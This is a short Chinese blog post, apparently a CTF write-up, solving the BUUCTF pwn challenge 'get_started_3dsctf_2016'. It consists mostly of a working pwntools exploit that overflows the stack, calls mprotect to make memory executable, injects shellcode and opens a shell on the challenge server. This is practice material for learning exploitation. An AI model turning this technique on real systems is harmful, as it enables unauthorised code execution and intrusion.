BUUCTF get_started_3dsctf_2016

原创

doudoudedi 于 2019-10-04 10:02:23 发布 1155 收藏

分类专栏： 题目 BUUCTF 文章标签： buuctf pwn

本文链接：https://blog.csdn.net/qq_37433000/article/details/102056006

题目 同时被 2 个专栏收录

83 篇文章 2 订阅

订阅专栏

BUUCTF

33 篇文章 0 订阅

订阅专栏

这道题和昨天差不多栈溢出覆盖返回地址然后把bss段mprotect可读可写可执行然后写入shellcode跳入bss段即可

exp:

```
from pwn import *

def debug():
 gdb.attach(p)
#p=process('./getstarted')
p=remote('node2.buuoj.cn.wetolink.com',28646)
elf=ELF('./getstarted')
pop3_ret=0x0804951D
payload='a'*0x38+p32(elf.symbols['mprotect'])+p32(pop3_ret)+p32(0x080EB000)+p32(0x1000)+p32(0x7)+p32(elf.symbols
['read'])+p32(pop3_ret)+p32(0)+p32(0x080EBF81)+p32(0x100)+p32(0x080EBF81)
#debug()
p.sendline(payload)
sleep(0.2)
#pause()
payload=asm(shellcraft.sh())
p.sendline(payload)

p.interactive()
```